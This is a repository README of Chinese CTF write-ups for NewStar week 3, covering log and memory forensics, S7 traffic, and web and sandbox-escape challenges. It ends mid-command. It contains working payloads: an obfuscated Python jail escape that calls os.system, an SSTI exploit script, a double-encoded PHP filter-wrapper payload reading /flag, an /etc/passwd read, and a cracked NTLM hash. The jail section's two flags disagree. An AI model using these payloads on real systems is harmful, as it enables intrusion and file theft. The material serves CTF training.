# Newstar_week3-5 **Repository Path**: ahmat/Newstar_week3-5 ## Basic Information - **Project Name**: Newstar_week3-5 - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: main - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2025-11-08 - **Last Updated**: 2025-11-08 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Newstar_week3-5 # Week 3 # Misc 题目 # [Misc] 日志分析-盲辨海豚 ## 题目信息 - **题目名称**: 日志分析-盲辨海豚 - **题目类型**: 日志分析、SQL盲注流量分析 - **文件格式**: .log 日志文件 ## 解题步骤 ### 1. 文件分析 分析日志文件时,我们注意到两种主要的响应模式: - 大量返回状态为 `200 22` 的请求 - 少量返回状态为 `200 6` 的请求 在SQL盲注攻击中,`200 6` 的响应通常表示SQL查询条件为真(TRUE),而 `200 22` 表示查询条件为假(FALSE)。因此,我们重点关注返回 `200 6` 的请求,这些是成功的SQL注入尝试。 ### 2. 数据处理 **工具使用**: - Python **处理步骤**: #### 步骤1:提取成功注入的请求 ```python import re from urllib.parse import unquote def analyze_sql_log(log_file): """分析SQL盲注日志,提取成功注入的请求""" success_requests = [] with open(log_file, 'r', encoding='utf-8') as f: for line in f: if '" 200 6' in line: # 成功注入的标志 url_match = re.search(r'GET\s+([^\s]+)', line) if url_match: url = url_match.group(1) decoded = unquote(url) # URL解码 success_requests.append(decoded) return success_requests # 执行分析 log_file = "blindsql.log" success_requests = analyze_sql_log(log_file) ``` #### 步骤2:提取信息 从日志中提取出以下关键信息: 1. 数据库名: sqli (4个字符) - 1st char: 115 ('s') - 2nd char: 113 ('q') - 3rd char: 108 ('l') - 4th char: 105 ('i') 2. 表名: flag (4个字符) - 1st char: 102 ('f') - 2nd char: 108 ('l') - 3rd char: 97 ('a') - 4th char: 103 ('g') 3. 列名: flag (4个字符) - 1st char: 102 ('f') - 2nd char: 108 ('l') - 3rd char: 97 ('a') - 4th char: 103 ('g') #### 步骤3:提取flag字符数据 从日志中提取flag的ASCII码值并转换为字符: ``` 位置 1: 102 ('f') 位置 2: 108 ('l') 位置 3: 97 ('a') 位置 4: 103 ('g') 位置 5: 123 ('{') 位置 6: 83 ('S') 位置 7: 81 ('Q') 位置 8: 76 ('L') 位置 9: 95 ('_') 位置 10: 105 ('i') 位置 11: 110 ('n') 位置 12: 106 ('j') 位置 13: 101 ('e') 位置 14: 99 ('c') 位置 15: 116 ('t') 位置 16: 105 ('i') 位置 17: 111 ('o') 位置 18: 110 ('n') 位置 19: 95 ('_') 位置 20: 108 ('l') 位置 21: 111 ('o') 位置 22: 103 ('g') 位置 23: 115 ('s') 位置 24: 95 ('_') 位置 25: 97 ('a') 位置 26: 114 ('r') 位置 27: 101 ('e') 位置 28: 95 ('_') 位置 29: 118 ('v') 位置 30: 101 ('e') 位置 31: 114 ('r') 位置 32: 121 ('y') 位置 33: 95 ('_') 位置 34: 101 ('e') 位置 35: 97 ('a') 位置 36: 115 ('s') 位置 37: 121 ('y') 位置 38: 125 ('}') ``` #### 步骤4:组合flag 按位置顺序组合所有字符: ``` 位置 1-4: f l a g 位置 5: { 位置 6-37: SQL_injection_logs_are_very_easy 位置 38: } ``` ### 4. 获取Flag ``` flag{SQL_injection_logs_are_very_easy} ``` --- # [Misc] 内存取证-Windows篇 ## 题目信息 - **题目名称**: 内存取证-Windows篇 - **题目类型**: 内存取证、数字取证 - **文件格式**: .raw 内存镜像文件 - **工具要求**: Volatility2, Kali Linux ## 解题步骤 ### 1. 环境准备 首先在Kali Linux中安装并配置Volatility2: ```bash wget http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip unzip volatility_2.6_lin64_standalone.zip echo '#!/bin/bash' > ~/Desktop/vol2 echo '~/Desktop/volatility/volatility_2.6_lin64_standalone/volatility_2.6_lin64_standalone "$@"' >> ~/Desktop/vol2 chmod +x ~/Desktop/vol2 ``` ### 2: 识别内存镜像信息 ```bash ~/Desktop/vol2 -f hellohacker.raw imageinfo ``` **输出结果**: ``` Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/kali/Desktop/hellohacker.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf8000403e120L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80004040000L KPCR for CPU 1 : 0xfffff88004500000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2025-09-30 11:32:54 UTC+0000 Image local date and time : 2025-09-30 19:32:54 +0800 ``` 确定使用 `Win7SP1x64` 作为profile。 ### 3. 数据提取 #### 步骤1:分析恶意进程路径 查找恶意进程网络连接 ```bash ~/Desktop/vol2 -f hellohacker.raw --profile=Win7SP1x64 netscan ``` **关键发现**: ``` TCPv4 192.168.20.131:49158 125.216.248.74:11451 ESTABLISHED 2864 svchost.exe ``` **答案1**: `125.216.248.74:11451` #### 步骤2:分析恶意进程路径 ```bash ~/Desktop/vol2 -f hellohacker.raw --profile=Win7SP1x64 cmdline | grep -A5 -B5 2864 ``` **输出结果**: ``` Volatility Foundation Volatility Framework 2.6 Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr ************************************************************************ svchost.exe pid: 2500 Command line : "C:\Windows\Temp\svchost.exe" ************************************************************************ svchost.exe pid: 2864 Command line : "C:\Windows\Temp\svchost.exe" ************************************************************************ dllhost.exe pid: 2428 Command line : C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} ************************************************************************ ``` **答案2**: `temp` #### 步骤3:提取用户密码哈希 ```bash ~/Desktop/vol2 -f hellohacker.raw --profile=Win7SP1x64 hashdump ``` **输出结果**: ``` JustAGuestAwA:1000:aad3b435b51404eeaad3b435b51404ee:3008c87294511142799dca1191e69a0f::: ``` ### 步骤4: 破解NTLM哈希 使用cmd5.com破解哈希: - **哈希值**: `3008c87294511142799dca1191e69a0f` - **破解结果**: `admin123` **答案3**: `admin123` #### 步骤5:获取计算机主机名 ```bash ~/Desktop/vol2 -f hellohacker.raw --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName" ``` **输出结果**: ``` REG_SZ ComputerName : (S) ARISAMIK ``` **答案4**: `arisamik` ### 3. 数据处理 **数据组合规则**: - 将所有提取的信息用下划线连接 - 统一转换为小写字母 - 按照题目要求的组合 ### 4. 获取Flag ``` flag{125.216.248.74:11451_temp_admin123_arisamik} ``` --- # [Misc] 流量分析-S7的秘密 ## 题目信息 - **题目名称**: 流量分析 - S7的秘密 - **题目类型**: 流量分析 - **文件格式**: pcapng ## 解题步骤 (參考: `https://blog.csdn.net/song123sh/article/details/128388384`) ### 1. 文件分析 使用 Wireshark 打开 `S7的秘密.pcapng`,发现多个 **Write Var** 请求包 用 Wireshark 打开 `S7的秘密.pcapng`,可以看到如下会话: ``` No. Time Source Destination Protocol Length Info 1 0.000000 192.168.0.100 192.168.0.25 S7COMM 79 ROSCTR:[Job ] Function:[Setup communication] 2 0.000121 192.168.0.25 192.168.0.100 S7COMM 81 ROSCTR:[Ack_Data] Function:[Setup communication] 3 0.003838 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 4 0.004208 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 5 0.505517 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 6 0.505771 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 7 1.007796 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 8 1.008103 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 9 1.510520 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 10 1.510782 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 11 2.013054 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 12 2.013296 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 13 2.515651 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 14 2.515980 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 15 3.018059 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 16 3.018290 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 17 3.520787 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 18 3.521050 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 19 4.023475 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 20 4.023729 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 21 4.526009 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 22 4.526265 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 23 5.028397 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 24 5.028645 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 25 5.530955 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 26 5.531209 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 27 6.033344 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 28 6.033615 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 29 6.536369 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 30 6.536697 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] 31 7.039108 192.168.0.100 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var] 32 7.039346 192.168.0.25 192.168.0.100 S7COMM 76 ROSCTR:[Ack_Data] Function:[Write Var] ``` - **Frame 1, 2**:连接建立(Setup communication) - **Frame 3, 5, 7, …, 31**:[Job ] Function:[Write Var]请求,写入数据 - **Frame 4, 6, 8, …, 32**:[Ack_Data] Function:[Write Var]请求,接收数据 ### 2. 数据处理 选中 **Frame 3**,展开协议树: ``` S7 Communication Header: (Job) Parameter: (Write Var) Function: Write Var (0x05) Item count: 1 Item [1]: (DB 1.DBX 0.0 BYTE 2) Data Item [1]: (Reserved) Return code: Reserved (0x00) Transport size: BYTE/WORD/DWORD (0x04) Length: 2 Data: 0049 ``` - **DB 地址**:`DB 1.DBX 0.0` - **数据**:`0049` - 第一个字节 `00` - 第二个字节 `49` 是 ASCII 字符 `I` 收集所有 Write Var 包的数据 依次查看每个 Write Var 包(Frame 3, 5, 7, …, 31),记录 **DB 地址** 和 **数据字节**: ``` S7 Communication Header: (Job) Parameter: (Write Var) Function: Write Var (0x05) Item count: 1 Item [1]: (DB 1.DBX 0.0 BYTE 2) ← 这里就是 DB 地址 ``` | Frame | DB Address | Data (Hex) | ASCII | |-------|---------------|------------|-------| | 3 | DB1.DBX0.0 | 0049 | I | | 5 | DB1.DBX14.0 | 0070 | p | | 7 | DB1.DBX4.0 | 004f | O | | 9 | DB1.DBX20.0 | 0074 | t | | 11 | DB1.DBX22.0 | 0061 | a | | 13 | DB1.DBX26.0 | 0074 | t | | 15 | DB1.DBX24.0 | 006e | n | | 17 | DB1.DBX28.0 | 0021 | ! | | 19 | DB1.DBX16.0 | 006f | o | | 21 | DB1.DBX2.0 | 0049 | I | | 23 | DB1.DBX6.0 | 0054 | T | | 25 | DB1.DBX18.0 | 0072 | r | | 27 | DB1.DBX12.0 | 006d | m | | 29 | DB1.DBX8.0 | 005f | _ | | 31 | DB1.DBX10.0 | 0069 | i | --- ### 4. 按时间顺序拼接 如果按 Frame 顺序拼接,得到: `IpOtatn!oITrm_i` 这看起来像乱码,不是有效信息。 --- ### 5. 按 DB 地址升序排序 将上表按 **DB 地址** 从小到大排序: | DB Address | ASCII | |------------|-------| | DB1.DBX0.0 | I | | DB1.DBX2.0 | I | | DB1.DBX4.0 | O | | DB1.DBX6.0 | T | | DB1.DBX8.0 | _ | | DB1.DBX10.0 | i | | DB1.DBX12.0 | m | | DB1.DBX14.0 | p | | DB1.DBX16.0 | o | | DB1.DBX18.0 | r | | DB1.DBX20.0 | t | | DB1.DBX22.0 | a | | DB1.DBX24.0 | n | | DB1.DBX26.0 | t | | DB1.DBX28.0 | ! | 得到字符串: `IIOT_important!` ### 4. 获取Flag ``` flag{IIOT_important!} ``` --- # [Misc] jail-evil eval ## 题目信息 - **题目名称**: jail-evil eval - **题目类型**: 沙盒逃逸 - **文件格式**: Python Jail ## 解题步骤 (參考: `https://dummykitty.github.io/posts/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%95%E8%BF%87/`) ### 1. 环境分析 ```python # 黑名单检测 BLACK_LIST = ["import", "os", "sys", "subprocess", "read", "open", "__"] # 可用函数 eval(user_input, {"__builtins__": {}}, {"print": print, "eval": eval, "exit": exit, "help": help}) ``` ### 2. 绕过限制 **黑名单绕过**: 使用字符串拼接绕过 `__` 检测 **编码绕过**: 使用八进制编码绕过 `system` 检测 **处理步骤**: 1. **获取help的类**: ```python >>> eval("help." + "_" + "_class_" + "_") >>> # 执行成功,没有 "Access Denied" ``` 2. **获取object基类**: ```python >>> eval("print(help." + "_" + "_class_" + "_." + "_" + "_mro_" + "_)") (, ) ``` 3. **获取所有子类**: ```python >>> eval("print(help." + "_" + "_class_" + "_." + "_" + "_mro_" + "_[1]." + "_" + "_subclasses_" + "_())") [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` 4. **找到warnings.catch_warnings类(索引139)**: ```python >>> eval("print(help." + "_" + "_class_" + "_." + "_" + "_mro_" + "_[1]." + "_" + "_subclasses_" + "_()[139]." + "_" + "_name_" + "_)") _wrap_close ``` 5. **访问__globals__获取系统函数**: ```python >>> eval("print(help." + "_" + "_class_" + "_." + "_" + "_mro_" + "_[1]." + "_" + "_subclasses_" + "_()[139]." + "_" + "_init_" + "_." + "_" + "_globals_" + "_.keys())") dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'abc', 'sys', 'st', '_check_methods', 'GenericAlias', '__all__', '_exists', '_get_exports_list', 'name', 'linesep', 'stat', 'access', 'ttyname', 'chdir', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'chroot', 'ctermid', 'getcwd', 'getcwdb', 'link', 'listdir', 'lstat', 'mkdir', 'nice', 'getpriority', 'setpriority', 'posix_spawn', 'posix_spawnp', 'readlink', 'copy_file_range', 'splice', 'rename', 'replace', 'rmdir', 'symlink', 'system', 'umask', 'uname', 'unlink', 'remove', 'utime', 'times', 'execv', 'execve', 'fork', 'register_at_fork', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getparam', 'sched_getscheduler', 'sched_rr_get_interval', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sched_setaffinity', 'sched_getaffinity', 'openpty', 'forkpty', 'getegid', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getpid', 'getpgrp', 'getppid', 'getuid', 'getlogin', 'kill', 'killpg', 'setuid', 'seteuid', 'setreuid', 'setgid', 'setegid', 'setregid', 'setgroups', 'initgroups', 'getpgid', 'setpgrp', 'wait', 'wait3', 'wait4', 'waitid', 'waitpid', 'pidfd_open', 'getsid', 'setsid', 'setpgid', 'tcgetpgrp', 'tcsetpgrp', 'open', 'close', 'closerange', 'device_encoding', 'dup', 'dup2', 'lockf', 'lseek', 'read', 'readv', 'pread', 'preadv', 'write', 'writev', 'pwrite', 'pwritev', 'sendfile', 'fstat', 'isatty', 'pipe', 'pipe2', 'mkfifo', 'mknod', 'major', 'minor', 'makedev', 'ftruncate', 'truncate', 'posix_fallocate', 'posix_fadvise', 'putenv', 'unsetenv', 'strerror', 'fchdir', 'fsync', 'sync', 'fdatasync', 'WCOREDUMP', 'WIFCONTINUED', 'WIFSTOPPED', 'WIFSIGNALED', 'WIFEXITED', 'WEXITSTATUS', 'WTERMSIG', 'WSTOPSIG', 'fstatvfs', 'statvfs', 'confstr', 'sysconf', 'fpathconf', 'pathconf', 'abort', 'getloadavg', 'urandom', 'setresuid', 'setresgid', 'getresuid', 'getresgid', 'getxattr', 'setxattr', 'removexattr', 'listxattr', 'get_terminal_size', 'cpu_count', 'get_inheritable', 'set_inheritable', 'get_blocking', 'set_blocking', 'scandir', 'fspath', 'getrandom', 'memfd_create', 'eventfd', 'eventfd_read', 'eventfd_write', 'waitstatus_to_exitcode', 'environ', 'F_OK', 'R_OK', 'W_OK', 'X_OK', 'NGROUPS_MAX', 'TMP_MAX', 'WCONTINUED', 'WNOHANG', 'WUNTRACED', 'O_RDONLY', 'O_WRONLY', 'O_RDWR', 'O_NDELAY', 'O_NONBLOCK', 'O_APPEND', 'O_DSYNC', 'O_RSYNC', 'O_SYNC', 'O_NOCTTY', 'O_CREAT', 'O_EXCL', 'O_TRUNC', 'O_LARGEFILE', 'O_PATH', 'O_TMPFILE', 'PRIO_PROCESS', 'PRIO_PGRP', 'PRIO_USER', 'O_CLOEXEC', 'O_ACCMODE', 'O_FSYNC', 'SEEK_HOLE', 'SEEK_DATA', 'O_ASYNC', 'O_DIRECT', 'O_DIRECTORY', 'O_NOFOLLOW', 'O_NOATIME', 'EX_OK', 'EX_USAGE', 'EX_DATAERR', 'EX_NOINPUT', 'EX_NOUSER', 'EX_NOHOST', 'EX_UNAVAILABLE', 'EX_SOFTWARE', 'EX_OSERR', 'EX_OSFILE', 'EX_CANTCREAT', 'EX_IOERR', 'EX_TEMPFAIL', 'EX_PROTOCOL', 'EX_NOPERM', 'EX_CONFIG', 'ST_RDONLY', 'ST_NOSUID', 'ST_NODEV', 'ST_NOEXEC', 'ST_SYNCHRONOUS', 'ST_MANDLOCK', 'ST_WRITE', 'ST_APPEND', 'ST_NOATIME', 'ST_NODIRATIME', 'ST_RELATIME', 'POSIX_FADV_NORMAL', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_WILLNEED', 'POSIX_FADV_DONTNEED', 'P_PID', 'P_PGID', 'P_ALL', 'P_PIDFD', 'WEXITED', 'WNOWAIT', 'WSTOPPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_DUMPED', 'CLD_TRAPPED', 'CLD_STOPPED', 'CLD_CONTINUED', 'F_LOCK', 'F_TLOCK', 'F_ULOCK', 'F_TEST', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_SYNC', 'RWF_NOWAIT', 'RWF_APPEND', 'SPLICE_F_MOVE', 'SPLICE_F_NONBLOCK', 'SPLICE_F_MORE', 'POSIX_SPAWN_OPEN', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'SCHED_OTHER', 'SCHED_FIFO', 'SCHED_RR', 'SCHED_BATCH', 'SCHED_IDLE', 'SCHED_RESET_ON_FORK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'RTLD_LAZY', 'RTLD_NOW', 'RTLD_GLOBAL', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_DEEPBIND', 'GRND_RANDOM', 'GRND_NONBLOCK', 'MFD_CLOEXEC', 'MFD_ALLOW_SEALING', 'MFD_HUGETLB', 'MFD_HUGE_SHIFT', 'MFD_HUGE_MASK', 'MFD_HUGE_64KB', 'MFD_HUGE_512KB', 'MFD_HUGE_1MB', 'MFD_HUGE_2MB', 'MFD_HUGE_8MB', 'MFD_HUGE_16MB', 'MFD_HUGE_32MB', 'MFD_HUGE_256MB', 'MFD_HUGE_512MB', 'MFD_HUGE_1GB', 'MFD_HUGE_2GB', 'MFD_HUGE_16GB', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'pathconf_names', 'confstr_names', 'sysconf_names', 'error', 'waitid_result', 'stat_result', 'statvfs_result', 'sched_param', 'terminal_size', 'DirEntry', 'times_result', 'uname_result', '_exit', 'path', 'curdir', 'pardir', 'sep', 'pathsep', 'defpath', 'extsep', 'altsep', 'devnull', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'makedirs', 'removedirs', 'renames', 'walk', '_walk', 'fwalk', '_fwalk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', '_execvpe', 'get_exec_path', 'MutableMapping', 'Mapping', '_Environ', 'getenv', 'supports_bytes_environ', 'environb', 'getenvb', 'fsencode', 'fsdecode', 'P_WAIT', 'P_NOWAIT', 'P_NOWAITO', '_spawnvef', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike']) ``` 6. **使用八进制编码绕过system检测**: ```python # system -> \163\171\163\164\145\155 ``` ### 4. 最终Payload ```python >>> eval("print(help." + "_" + "_class_" + "_." + "_" + "_mro_" + "_[1]." + "_" + "_subclasses_" + "_()[139]." + "_" + "_init_" + "_." + "_" + "_globals_" + "_['\\163\\171\\163\\164\\145\\155']('cat flag'))") flag{21d70f90-f964-4907-8fce-6cec3cec87fa} 0 ``` ### 5. 获取Flag ``` flag{8399b785-9cc6-40df-87be-bd3d68d528d1} ``` --- # [Misc] 区块链-以太坊的约定 ## 题目信息 - **题目名称**: 区块链-以太坊的约定 - **题目类型**: Misc - **文件格式**: .sol ## 解题步骤 ### 1. 数据提取 **助记词信息**: - MetaMask默认使用12个单词的助记词 (`https://support.metamask.io/zh-cn/start/user-guide-secret-recovery-phrase-password-and-private-keys/`) **交易记录**: `https://www.oklink.com/zh-hans/sepolia/address/0x949f8fc083006cc5fb51da693a57d63eec90c675` - 地址最早交易时间: 2024年6月14日 **Gwei换算**: - 1145141919810 Gwei = 1145 ETH ### 3. 合约分析 **工具使用**: - VS code ```sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleOperation { function getResult() public pure returns (string memory) { uint a = 10; uint b = 5; uint sum = a + b; uint product = a * b; if (sum > product) { } return "solidity"; } } ``` - 简单分析,大概预判返回结果为 "`solidity`" ### 4. 获取Flag 将四个部分的答案用下划线拼接: ``` 12_1145_20240614_solidity ``` 最终Flag: ``` flag{12_1145_20240614_solidity} ``` --- # [Web] who's sti ## 题目信息 - **题目名称**: who's sti - **URL**: https://eci-2zecenrwk2mewi0w8ssb.cloudeci1.ichunqiu.com:5000/ ## 解题步骤 ### 1. 网站分析 **页面功能**: - 首页显示需要调用的5个随机函数 - 通过POST提交SSTI payload - 如果payload中调用了所有目标函数,返回flag ### 2. 漏洞挖掘 参考: `https://hello-ctf.com/hc-web/ssti/#python` **测试Payload**: ``` 测试1: {{7*7}} // 确认SSTI存在 测试2: {{lipsum.__globals__}} // 访问全局对象 ``` **漏洞确认**: - 存在服务器端模板注入漏洞 ### 3. 漏洞利用 **利用思路**: 1. 首先获取需要调用的5个随机函数 2. 通过SSTI调用这些函数: - 使用 `lipsum.__globals__['__builtins__']['__import__']()` 导入模块 - 调用对应的目标函数 3. 在一次请求中调用所有目标函数,触发flag返回条件 **利用代码**: ```python import requests import re def exploit(): url = "ttps://eci-2zecenrwk2mewi0w8ssb.cloudeci1.ichunqiu.com:5000/" # 获取需要调用的函数 resp = requests.get(url) funcs = re.findall(r'

([a-zA-Z_]+)

', resp.text) print(f"需要调用的函数: {funcs}") # 构造SSTI payload payload_parts = [] for func in funcs: if func == 'fmean': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('statistics').fmean([1,2,3])}}") elif func == 'findall': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('re').findall('test','testtest')}}") elif func == 'load': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('pickle').loads(lipsum.__globals__['__builtins__']['__import__']('pickle').dumps('test'))}}") elif func == 'randint': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('random').randint(1,100)}}") elif func == 'search': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('re').search('test','testtest')}}") elif func == 'get_close_matches': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('difflib').get_close_matches('test',['test','demo'])}}") elif func == 'dedent': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('textwrap').dedent(' test')}}") elif func == 'listdir': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('os').listdir('.')}}") elif func == 'sum': payload_parts.append("{{sum([1,2,3])}}") elif func == 'mean': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('statistics').mean([1,2,3])}}") elif func == 'choice': payload_parts.append("{{lipsum.__globals__['__builtins__']['__import__']('random').choice(['a','b'])}}") payload = ''.join(payload_parts) # 提交payload resp = requests.post(url, data={'submit': payload}) # 提取flag if 'flag' in resp.text: try: data = resp.json() return data.get('flag') except: match = re.search(r'flag\{[^}]+\}', resp.text) if match: return match.group(0) return None if __name__ == "__main__": flag = exploit() if flag: print(f"获取到flag: {flag}") else: print("获取flag失败") ``` ### 5. 获取Flag ``` flag{520ddc1d-7e34-45c7-9b96-9d39a5abafb3} ``` --- # [Web] ez-chain ## 题目信息 - **题目名称**: ez-chain - **URL**: https://eci-2zegxn80jvtgewqlasnu.cloudeci1.ichunqiu.com/ ## 解题步骤 ### 1. 网站分析 **页面功能**: - 简单的文件包含功能,通过`file`参数读取文件内容 - 包含输入过滤和输出过滤双重WAF防护 **输入点**: - GET参数 `file` 存在文件包含漏洞 ### 2. 漏洞挖掘 **测试Payload**: ``` 测试1: ?file=index.php // 测试基本功能 测试2: ?file=php://filter/convert.base64-encode/resource=index.php // 测试PHP包装器 测试3: ?file=/etc/passwd // 测试系统文件读取 ``` **漏洞确认**: - 存在文件包含漏洞,支持PHP包装器 - 但存在严格的输入输出过滤 **绕过思路** 1. **绕过输入过滤**:使用URL编码绕过关键词检测 - 过滤列表:`/`, `:`, `php`, `base64`, `data`, `zip`, `rar`, `filter`, `flag` - 使用双重URL编码绕过 2. **绕过输出过滤**:使用ROT13编码避免包含字母`f` - 输出不能包含字母`f`,且会自动base64解码 - ROT13编码将`f`转换为`s`,完美绕过 3. **构造payload**:读取`/flag`文件 ### 3. 漏洞利用 ### 第一步:绕过输入过滤 我们需要读取 `/flag` 文件,但直接使用 `file=/flag` 会被拦截: - `/` 在过滤列表中 - `flag` 在过滤列表中 **解决方案**:使用 PHP 包装器 + URL 编码 原始 payload: ``` php://filter/string.rot13/resource=/flag ``` 编码规则: - `php` → `p%68p`(编码中间的 `h`) - `:` → `%3a` - `/` → `%2f` - `filter` → `f%69lter`(编码中间的 `i`) - `flag` → `fl%61g`(编码中间的 `a`) 得到中间形式: ``` p%68p%3a%2f%2ff%69lter%2fstring.rot13%2fresource=%2ffl%61g ``` ### 第二步:防止自动 URL 解码 PHP 会对 GET 参数自动进行一次 URL 解码,所以需要把 `%` 再次编码为 `%25`: 最终 payload: ``` p%2568p%253a%252f%252ff%2569lter%252fstring.rot13%252fresource=%252ffl%2561g ``` ### 第三步:绕过输出过滤 由于 flag 内容包含 `flag{...}`,直接输出会被拦截。使用 `string.rot13` 过滤器: - ROT13 会把所有字母旋转 13 位 - `f` → `s`,`l` → `y`,`a` → `n`,`g` → `t` - 这样输出内容就不含字母 `f` 了 ## 完整攻击过程 ### 1. 构造最终 URL ``` https://eci-2zegxn80jvtgewqlasnu.cloudeci1.ichunqiu.com/?file=p%2568p%253a%252f%252ff%2569lter%252fstring.rot13%252fresource=%252ffl%2561g ``` ### 2. 服务器处理过程 1. PHP 收到 `file=p%2568p%253a...` 参数 2. 自动 URL 解码一次:`p%68p%3a%2f%2ff%69lter%2fstring.rot13%2fresource=%2ffl%61g` 3. `filter()` 检查:字符串中没有 `/`, `:`, `php` 等字面值,通过检查 4. `urldecode($file)` 再次解码:`php://filter/string.rot13/resource=/flag` 5. `file_get_contents()` 执行: - 读取 `/flag` 文件内容 - 应用 `string.rot13` 过滤器进行编码 6. `filter_output()` 检查:ROT13 编码后的内容不含 `f`,通过检查 7. 返回编码后的内容 ### 3. 获取到的响应 ``` synt{988p246o-890p-4n0o-9s02-94108oqonoo3} ``` ### 4. ROT13 解码 最终 flag: ``` flag{988c246b-890c-4a0b-9f02-94108bdbabb3} ``` --- # [Web] mirror_gate ## 题目信息 - **题目名称**: mirror_gate - **URL**: https://eci-2zeiq1qx3sg1x4c9z5ty.cloudeci1.ichunqiu.com/ ## 解题步骤 #### 1.1 分析首页源代码 访问目标网站,查看页面源代码发现关键线索: ```html ``` **解码提示**: ```bash echo "c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw==" | base64 